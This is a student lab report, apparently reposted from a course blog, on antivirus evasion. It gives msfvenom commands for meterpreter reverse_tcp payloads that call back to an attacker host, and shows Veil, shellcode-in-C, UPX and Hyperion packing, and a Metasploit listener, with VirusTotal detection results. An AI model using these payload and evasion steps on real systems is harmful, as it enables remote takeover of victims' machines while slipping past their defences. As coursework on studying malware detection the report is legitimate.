20232325 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 9:44:27/文章来源:https://www.cnblogs.com/DDD643/p/19168004

实验文档

1.实验内容

1.1 回答问题

  • (1)杀软是如何检测出恶意代码的?

    1. 通过特征码检测;
    2. 根据程序行为规律判断;
    3. 根据程序运行时的实际行为来判断。
  • (2)免杀是做什么?
    对恶意程序做各种处理,让它免除杀毒软件检测,从而可以进行攻击。

  • (3)免杀的基本方法有哪些?

    1. 通过各种方法,改变恶意软件的特征码;
    2. 隐藏恶意程序的恶意行为。

1.2实践内容简述

(1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
(2)学习安装、使用veil,加壳工具
(3)使用C + shellcode编程
(4)通过组合应用各种技术实现恶意代码免杀
(5)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

实验准备:Kali虚拟机的 ip:192.168.57.133
image

2.1免杀效果参考基准

通过

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 PORT=2325 -f exe > met20232325.exe

生成一个没有经过任何处理的文件。
image

将该文件通过virustotal检测,检出率为57/70,通过此数字与后续的结果进行对比,检验各种处理方法的免杀技术效果。
image

2.2正确使用msf编码器

2.2.1直接生成和经过多次编码生成的exe文件

利用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.57.133 LPORT=2325 -f exe > met-encoded20232325.exe

生成met-encoded20232325.exe。其中-e x86/shikata_ga_nai用于指定编码方式;-b '\x00'用于指定要避免的坏字符。
image

得到的检出率为56/70,基本没有明显变化。
image

使用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b '\x00' LHOST=192.168.57.133 LPORT=2325 -f exe > met-10encoded20232325.exe

进行10次编码,生成文件met-10encoded20232325.exe。
image

得到的检出率为58/71,基本没有变化。
image

说明这种处理方式生成的文件的特征码已经基本都在库中了,非常容易被识别出,很难有免杀效果

2.2.2生成jar文件和编码的jar文件

利用指令

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=2325 x>metjar20232325.jar

直接生成metjar20232325.jar。
image

再利用指令

msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.57.133 LPORT=2325 x>met-encoded-jar20232325.jar

生成一份编码10次的met-encoded-jar20232325.jar。
image

得到的检出率均为35/64,尽管依然不低,但是通过对比可以得出结论,jar文件更难被识别出来。
image

2.2.3生成php文件和编码的php文件

利用指令

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.57.133  LPORT=2325 x> metphp_20232325.php

直接生成metphp_20232325.php。
image

直接生成的php文件检出率为25/62
image

利用指令

msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.57.133 LPORT=2408 x> met_encoded10_php_20232325.php

生成一份编码10次的met_encoded10_php_20232325.php。
image

进行10次编码的检出率为8/62,说明php文件相比前两种方式更加难以被识别,且php的多次编码有良好的免杀效果,对检出率降低有很大帮助。
image

2.3使用veil免杀工具

2.3.1veil免杀工具的下载

使用指令

sudo apt -y install veil

,用apt下载veil。
image

使用指令

sudo usr/share/veil/config/setup.sh --force --silent

,用shell脚本配置好环境。
安装成功后会呈现下图的样子
image

2.3.2veil使用过程

看到Evasion是第一个选项,在veil中输入use 1进入Evasion模块。
image

输入list查看所有可用的种类。
image

看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7。
image

进行配置,输入以下信息。
set LHOST 192.168.57.133(kail虚拟机的ip)
set LPORT 2325(设置端口2325)
generate(开始生成)
下面会提示生成的具体内容和生成后文件所在的位置。
image

到图中的目录,可以看到已经生成好的文件payload20232325.exe。
image

测试这个文件的检出率,发现是37/71,对比最基础的版本有免杀能力的提升,但效果不是很好。
image

2.4使用C + shellcode编程

使用指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=2325 -f c

,用msfvenom工具来生成一个C语言的源代码格式的有效载荷
image

用生成的shellcode编写一个c文件,使用命令

nano shellcode_c_20232325

image

利用指令

i686-w64-mingw32-g++ shellcode_c_20232325.c -o shellcode_c_20232325.exe

进行编译,得到shellcode_c_20232325.exe文件。
image

测试这个文件的检出率,发现是37/71,有一定的免杀效果,但依旧不是很理想。
image

2.5使用加壳工具

2.5.1使用压缩壳UPX

使用指令

upx shellcode_c_20232325.exe -o shellcode_c_upx_20232325.exe

,给上一个步骤生成的shellcode_c_20232325.exe加一个压缩壳。
image

测试检出率为41/71,比较shellcode_c_20232325.exe的检出率,经过思考说明这一步使用的压缩壳已经被很广泛的记录,特征码非常明显,让其免杀效果大打折扣。
image

2.5.2使用加密壳Hyperion

使用指令:

sudo cp shellcode_c_20232325.exe /usr/share/windows-resources/hyperion/

(将待加密文件放到工作目录下)

cd /usr/share/windows-resources/hyperion

(进入工作目录)

wine hyperion.exe -v shellcode_c_20232325.exe shellcode_c_hyp_20232325.exe

image
image

输入ls检查文件是否生成。
image

测试检出率为50/71,依旧比原版上升,说明加密壳的特征已经被很广泛的记录,免杀效果大打折扣。
image

2.6 组合使用msfvenom工具与加壳技术

2.6.1 使用msfvenom工具

首先通过命令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.57.133 LPORT=2325 -f c > 20232325_shellcode_multi.c

,生成一个经过10次多态编码且不含空字节的C语言格式shellcode,并将其保存。
image

此后在vim中编写c语言程序,主要内容是加入main函数。
image

通过命令

i686-w64-mingw32-g++ 20232325_shellcode_multi.c -o 20232325_shellcode_multi.exe

,将原文件编译为20232325_shellcode_multi.exe。
image

2.6.2 使用压缩壳UPX

通过命令

upx 20232325_shellcode_multi.exe -o 20232325_shellcode_multi_2.exe

,为20232325_shellcode_multi.exe加上UPX压缩壳。
image

2.6.3 使用加密壳Hyperion

通过命令

wine hyperion.exe -v 20232325_shellcode_multi_2.exe 20232325_shellcode_multi_3.exe

,为20232325_shellcode_multi_2.exe加上Hyperion加密壳。
image

2.6.4 检测免杀效果

对最后三重处理的文件20232325_shellcode_multi_3.exe进行检测,发现检出率为50/71,免杀效果不尽人意
image

对只进行压缩,未进行加密的文件20232409_shellcode_multi_2.exe进行检测,检出率为31/71,效果相比三重处理文件更好。经过思考,因为加密壳已被标识为一种高风险的恶意行为模式,所以加上加密壳免杀效果反而会更差。
image

将文件20232325_shellcode_multi_2.exe使用Windows主机上的杀毒软件进行扫描,仍能查出其中的潜在威胁。说明win11的杀毒软件越加完善了,如今想做出免杀软件需要的能力更高。
image

本次使用的杀毒软件是火绒,版本号为6.0.7.14
image

2.7 开启杀软回连实测

尝试使用20232409_shellcode_multi_3.exe进行回连检测。Kali虚拟机作为攻击机,进入msf的控制台,配置监听处理器、载荷类型、IP地址与监听端口等相关信息,本处步骤与实验2相似。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.57.133
set LPORT 2325
exploit

image

Windows主机作为目标主机,在其上启动后门程序20232325_shellcode_multi_3.exe。双击程序尝试运行发现火绒将其成功拦截,再次运行已经无法成功。
image

程序直接被火绒扔进了隔离区,我甚至在桌面上找不到它。
image

3.问题及解决

问题1:安装veil时发生报错,无法顺利安装
image

解决方案:认为是依赖关系不满足,首先执行依赖修复命令

sudo apt --fix-broken install

,再更新软件包列表

sudo apt update

,再次重新安装veil,成功解决问题。

问题2:想使用Hyperion加密壳,执行到一半就停止
image

解决方案:使用管理员权限后,让命令有足够权限写入文件,发现可以顺利生产。

4. 心得体会

本次实验的主要内容是免杀原理与实践,学习使用了如msfvenom、veil等软件,也多次尝试使用virustotal检测程序的检出率,还将各种方式综合起来生成程序测试免杀能力(虽然效果不佳),本次实验让我对杀软原理、后门程序等知识有了进一步的掌握和更立体的理解。

本次实验总体上比上次顺利的多,碰到困扰我时间最久的问题是veil的安装,veil安装的非常慢,而且经常报错或者依赖关系有问题,通过使用ai工具,我通过修复依赖,更新软件包列表,还是顺利的下载并打开成功了veil,下载成功后也是长出一口气。

同时我发现如今的Win11系统的安全防护能力确实有了很大的提高,实验的大部分时候都要关闭杀软的同时,关闭Win11自带的病毒检测功能,否则做着做着程序就没了。同时有些处理方式使用后反而会提高检测率,说明特征库对于杀软检测恶意程序的重要性,也说明了处理方式并不是越多越好,而是要合理组合。

总之,本次实验提高了我在免杀原理方面的认知,也让我对现在电脑的安全防护有了更立体的认识,希望我能早日做出一个正经的免杀程序,在那之前我还有很多需要学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/947265.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

centos7通过阿里云的镜像站安装最新的docker服务

原创centos7通过阿里云的镜像站安装最新的docker服务要通过阿里云的镜像站安装最新版本的 Docker 服务,你可以按照以下步骤操作:卸载旧版本的 Docker(如果已安装): sudo yum remove docker \docker-client \docke…

2025年计算机技术、数字媒体与传播国际学术会议(ICCDC 2025)

2025年计算机技术、数字媒体与传播国际学术会议(ICCDC 2025) 2025 International Conference on Computer Technology, Digital Media and Communication 在全球数字化转型加速的背景下,计算机技术、数字媒体与传播…

2025 年造粒机,混合造粒机厂家最新推荐,聚焦资质、案例、售后的优质机构深度解读

引言 随着工业原料制备行业的持续升级,造粒机及混合造粒机的市场需求日益增长,但其品质差异给企业选购带来极大挑战。为助力企业精准筛选优质设备,中国通用机械工业协会联合行业权威检测机构开展 2025 年度造粒机厂…

题解:uoj748 机器人表演

每步都很厉害的一个题。 题意:给出一个不一定匹配的括号序列,求其和任意给定长度 \(t\) 的合法括号序列合并后有多少种本质不同的串。\(n,t\le 300\)。 做法: 首先考虑判定怎么做,我假设有原串 \(s\),我如何判定一…

2025 年混合机,强力混合机厂家最新推荐,产能、专利、环保三维数据透视!

引言 在国家推动环保装备制造业高质量发展的政策导向下,混合机作为工业生产核心设备,其性能直接关系到企业降本增效与绿色转型成效。为破解市场选型难题,本次测评联合中国通用机械工业协会,基于产能输出、专利储备…

Java dubbo spring springboot中的spi机制

在 Java 生态中,SPI(Service Provider Interface) 是一种服务发现机制,允许框架或接口定义方通过配置文件指定接口的实现类,第三方可以通过实现接口并配置文件来扩展功能,实现 “接口与实现分离”。Dubbo、Sprin…

此乃同余最短路

P3403 跳楼机 不妨令\(x<y<z\) 设\(f_i\)的值为最小的满足\((ay+bz)\bmod x=i\)的\(ay+bz\),那么对于任意\(\leq h\)的\(f_i+bx\)全都满足条件。只要求出所有\(f_i(0\leq i<x)\)就可以计算出可拼出的所有数,…

2025年深圳离婚房产律师权威推荐榜单:婚姻/子女抚养权/股权分割专业团队精选

在深圳这座快节奏的都市中,离婚案件涉及房产分割、子女抚养权及股权纠纷时,专业律师的帮助至关重要。根据2024年深圳市司法数据统计,离婚案件中房产分割争议占比高达60%以上,而专业婚姻家事律师的介入,能显著提升…

2025年深圳婚姻律师权威推荐榜单:离婚房产/子女抚养权/股权分割专业团队精选

在深圳这座快节奏的都市中,婚姻家事案件逐年增多,涉及离婚房产分割、子女抚养权争议及股权分割等复杂问题。数据显示,2024年深圳市法院受理的婚姻家事类案件超过5000件,其中约60%涉及财产分割纠纷,凸显了专业律师…

微软+清北联合突破:Reinforcement Pre-Training正在改写大模型训练规则

原文:https://mp.weixin.qq.com/s/3IuCBezsMVaSn8MnbmqwVQ 全文摘要该研究里提出了强化预训练(RPT),它是大语言模型和强化学习(RL)的一种全新扩展范式。简单说,就是把 “预测下一个 token” 改成了用强化学习训练…

为什么堆只设置了8G,java进程却占用了12G内存?

参考: https://mp.weixin.qq.com/s/4FsNkgxB6WDkP9UTcb9r4g

Authlib JOSE组件存在拒绝服务漏洞,攻击者可利用超大令牌段耗尽系统资源

Authlib的JOSE实现存在安全漏洞,攻击者可通过构造包含超大JWS/JWT头部或签名段的令牌导致服务端CPU和内存资源耗尽,从而实现拒绝服务攻击。受影响版本需升级至1.6.5或实施临时防护措施。Authlib 因超大JOSE段存在拒绝…

Linux 自动输入 Enter 键

在 linux 内核编译的时候,有时候会遇到内核编译选项配置缺失,导致输入编译命令时需要输入 Enter 键,尤其是编译选项一多就要连续输入多个 Enter 键。 在多项目开发的时候比较常见。由于多项目开发,添加一个内核配置…

Voyage系列3: 技巧与提示

本章汇集了多年来大家积累的一些实用技巧与心得,由萨宾娜马纳撰写。 如何通过id查询对象 若已知_id值,可将其初始化为OID并进行查询。 Person selectOne: {(_id -> (OID value: 16r55CDD2B6E9A87A520F000001))} a…

合规与创新并重:现代企业DevOps平台的安全战略与实践路径

企业DevOps需平衡交付速度与安全合规,强监管行业中安全更是必选项。现代平台需将安全左移至全流程,本文对比主流DevOps产品,国产DevOps平台契合信创DevOps需求,具备安全内嵌与国产化适配能力,助力企业兼顾安全与研…

2025年10月洗地机产品推荐:五款高口碑机型横向对比榜

2025年10月,家庭地面清洁进入“换季深度保洁”高峰期:宠物换毛、雨水带入泥沙、孩子开学后室内活动增多,消费者对“一次推拉即可吸拖杀菌”的洗地机需求陡升。京东商智公开数据显示,近30天“洗地机”关键词搜索量环…

完全开源!一款基于 SpringBoot + Vue 构建的社区平台!

OpenIsle —— 一个使用 SpringBoot 和 Vue3 构建的全栈开源社区平台,提供用户注册、登录、贴文发布、评论交互等完整功能,可用于项目社区或直接打造自主社区站点。大家好,我是 Java陈序员。 在如今互联网时代,拥有…

【一步步开发AI运动APP】十二、如何进行运动开始前的站位预检,提升用户体验

之前我们为您分享了【一步步开发AI运动小程序】开发系列博文,通过该系列博文,很多开发者开发出了很多精美的AI健身、线上运动赛事、AI学生体测、美体、康复锻炼等应用场景的AI运动小程序;为了帮助开发者继续深耕AI运…

Oracle Data Pump 网络模式直接迁移详解(使用数据库链接(Database Link))

Oracle Data Pump 网络模式直接迁移详解 网络模式(NETWORK_LINK)是Oracle Data Pump提供的一种无需生成转储文件的直接迁移方式,数据通过数据库链接直接从源库传输到目标库。 🌟 网络模式的核心优势优势 说明无需…

2025年10月防脱生发产品推荐:十款口碑榜对比与临床数据全解析

早上梳头一抓一把、洗头堵地漏、发缝日渐“宽如河”,这是不少都市人正在经历的共同焦虑。国家卫健委2024年发布的《中国居民脱发白皮书》显示,我国脱发人群已突破2.5亿,其中30岁以下占比高达60%,防脱需求正从“中年…